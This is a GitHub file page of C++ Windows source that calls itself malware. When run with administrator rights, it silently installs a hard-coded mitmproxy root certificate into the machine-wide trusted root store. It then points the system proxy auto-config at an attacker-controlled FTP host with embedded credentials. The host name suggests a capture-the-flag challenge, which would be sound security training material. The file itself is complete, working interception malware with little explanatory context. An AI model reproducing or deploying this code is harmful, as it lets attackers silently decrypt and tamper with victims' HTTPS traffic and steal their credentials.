Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
92 lines (77 sloc) 11.9 KB
#include "stdafx.h"
void MyHandleError(char *s)
{
fprintf(stderr, "%s\n", s);
fprintf(stderr, "%x.\n", GetLastError());
exit(1);
}
// Return TRUE if running as Administrator, FALSE otherwise
BOOL IsElevated() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
// Install a root certificate for mitmproxy
int installRootCertificate() {
// If the malware is not running with administrative privileges, stop trying (do not trigger any warning)
if (!IsElevated()) {
return TRUE;
}
// Generate the serialized certificated using the "SerializeCertificate" thing
BYTE* pbElement = (BYTE *) "\x20\x00\x00\x00\x01\x00\x00\x00\xa5\x03\x00\x00\x30\x82\x03\xa1\x30\x82\x02\x89\xa0\x03\x02\x01\x02\x02\x06\x0d\xd5\x66\xfa\x8f\x7f\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x28\x31\x12\x30\x10\x06\x03\x55\x04\x03\x0c\x09\x6d\x69\x74\x6d\x70\x72\x6f\x78\x79\x31\x12\x30\x10\x06\x03\x55\x04\x0a\x0c\x09\x6d\x69\x74\x6d\x70\x72\x6f\x78\x79\x30\x1e\x17\x0d\x31\x38\x30\x33\x31\x32\x30\x39\x34\x34\x34\x39\x5a\x17\x0d\x32\x31\x30\x33\x31\x33\x30\x39\x34\x34\x34\x39\x5a\x30\x28\x31\x12\x30\x10\x06\x03\x55\x04\x03\x0c\x09\x6d\x69\x74\x6d\x70\x72\x6f\x78\x79\x31\x12\x30\x10\x06\x03\x55\x04\x0a\x0c\x09\x6d\x69\x74\x6d\x70\x72\x6f\x78\x79\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00\xd2\x79\xdd\x70\x65\x4c\xd7\xad\xf1\xe0\x4b\x70\x73\x1d\xe6\x8a\x9f\x84\x94\xf4\x24\x2b\x3c\xa3\x64\xd7\x57\xa5\xba\x80\xe9\x5c\x8e\x71\x2a\xaa\xa5\x3d\x87\xfd\xf9\xf6\xb1\x7a\xa7\x12\x2c\xcc\xa7\xb7\xfe\xc5\x19\x4c\x68\x0a\xb8\xd5\xf1\xf7\xa6\x0f\x1f\xa0\x55\x0a\x99\xed\x6e\xf5\xbb\x54\x58\x8c\x9d\x16\x70\x86\xb9\x01\x99\xad\xb0\x1e\x8e\xe9\x3f\xb6\xb7\x9f\xb7\x89\xd6\x1c\x13\xb2\x0d\xe5\x56\xe5\xab\x67\xb2\xa2\x65\xc6\x45\x5c\x8f\x4f\x66\x08\x1f\x07\x66\xd3\xd1\x30\x61\x64\xbe\x74\x63\xbe\xd5\xdb\x5e\x36\x76\xc3\xd7\x64\x3b\x9c\x17\x6f\x4e\x02\x34\x3b\x8c\xf0\x38\x95\x9b\x70\xd5\x23\xd8\x44\x9d\x7e\x77\x91\xb2\xe2\x8f\x20\x6a\x52\xdd\xb5\xe4\x80\xb9\x26\x7e\xb4\x35\xa2\xf5\xc3\x70\xbf\x69\x51\xf2\xa2\x29\xf7\x6e\x95\xc9\x6f\x95\x81\xa6\x0d\x3d\x30\x40\x33\x91\x65\xaf\x3b\xc1\xe5\xa6\xa2\x79\xef\x28\x9b\x72\xde\x40\x56\x3c\x38\x66\x82\x73\x8a\x84\x9b\x26\xc7\x60\xa3\xd7\xdc\xe1\xb3\xb3\xd7\x2a\x4b\x75\xa1\x2c\x4e\xb9\x40\x4c\x81\xdc\xe8\x94\x8d\xe1\xdc\x61\x7d\xb4\xf4\xb9\x95\x5e\x87\xb8\xf7\x52\x32\xe9\xaf\x02\x03\x01\x00\x01\xa3\x81\xd0\x30\x81\xcd\x30\x0f\x06\x03\x55\x1d\x13\x01\x01\xff\x04\x05\x30\x03\x01\x01\xff\x30\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x42\x01\x01\x04\x04\x03\x02\x02\x04\x30\x78\x06\x03\x55\x1d\x25\x04\x71\x30\x6f\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x01\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x08\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x01\x15\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x01\x16\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x01\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x03\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x06\x09\x60\x86\x48\x01\x86\xf8\x42\x04\x01\x30\x0e\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x06\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14\x18\x95\xa2\xe7\x97\xae\x23\x38\xf1\x9d\x68\x5f\x9b\x59\x9a\xef\x0c\x17\x57\xcb\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x55\x23\x08\x7c\x5a\x42\x45\xf5\xc8\xe5\x71\x9d\x67\x23\x44\xea\x38\x9c\xbc\x2f\x44\xf8\x61\xee\x11\x47\xbe\xbe\x50\x94\xf9\xfb\x06\x5f\xdd\x2c\x7b\x86\xe2\x99\x2c\xc6\x7c\xd8\x63\x45\xd6\xbd\xbb\x4d\xa4\x66\x3e\xa9\xda\xba\x9e\xa6\x15\x05\x5f\x1e\x9b\xe7\x2d\x0f\xda\x21\xfa\x2e\xbc\x54\x43\x03\xe9\x51\xfe\x0b\xd2\x0b\xef\xcf\xe3\xba\x83\xed\xa5\xb3\x6c\x7b\xd2\xb7\x1e\xce\x2d\xe4\xf1\x29\x2b\x91\x7e\x30\x95\x84\x78\xeb\x36\x34\x6f\x96\x8b\x80\xdc\xb5\x74\x13\xf6\x18\x2c\xfb\xf3\x3a\xd2\x2b\x72\x6e\xcd\x3b\xb6\x42\x4d\x81\x40\x25\x7c\x2c\x8b\xec\x84\xe0\x19\x22\xee\x4e\xb2\xf6\x64\x6c\x13\xc6\xf0\x9d\xf9\x0b\xec\x84\x73\x91\xd3\xa0\xde\x28\xc4\x32\x97\x2f\x6c\x32\x17\x16\xbb\xd3\xac\x69\xb0\x6f\xe2\xc7\x7e\x01\xf4\xda\xd6\xb5\x3d\x64\xd1\x03\x4c\xfa\x55\x50\x1d\x6c\xaa\xca\xdf\xbd\xaa\x2e\x11\x12\x8b\x22\x01\x41\xa2\x25\xe3\x9a\xaf\x3b\x27\x84\x1c\xf7\xcf\x6a\x24\xeb\x7d\xd6\xcc\x0b\x02\x63\x62\x6b\x01\x87\x90\xbe\xe5\x16\x18\xc3\x0e\xb6\xc7\xe2\xa1\xb3\x50\x63\x4a\xaa\x22\xc7\x11\x87\xd8\x8f\x5c\xb7\xd2\x75";
DWORD cbElement = 1041;
HCERTSTORE hSystemStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, NULL, CERT_SYSTEM_STORE_LOCAL_MACHINE, L"ROOT");
if (!hSystemStore)
{
MyHandleError((char *)"Error 1");
}
if (!CertAddSerializedElementToStore(
hSystemStore,
pbElement,
cbElement,
CERT_STORE_ADD_REPLACE_EXISTING,
0,
CERT_STORE_CERTIFICATE_CONTEXT_FLAG,
NULL,
NULL
)) {
MyHandleError((char *)"Error 2");
}
return TRUE;
}
// Set the system-wide HTTP proxy
int setProxy() {
INTERNET_PER_CONN_OPTION_LIST list;
BOOL bReturn;
DWORD dwBufSize = sizeof(list);
list.dwSize = sizeof(list);
list.pszConnection = NULL;
list.dwOptionCount = 2;
list.pOptions = new INTERNET_PER_CONN_OPTION[2];
if (NULL == list.pOptions)
return FALSE;
list.pOptions[0].dwOption = INTERNET_PER_CONN_FLAGS;
list.pOptions[0].Value.dwValue = PROXY_TYPE_AUTO_PROXY_URL;
list.pOptions[1].dwOption = INTERNET_PER_CONN_AUTOCONFIG_URL;
list.pOptions[1].Value.pszValue = (TCHAR *)"ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac";
if (InternetSetOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &list, dwBufSize)) {
return TRUE;
}
else {
MyHandleError((char *) "Error 3");
}
}
int main()
{
return installRootCertificate() & setProxy();
}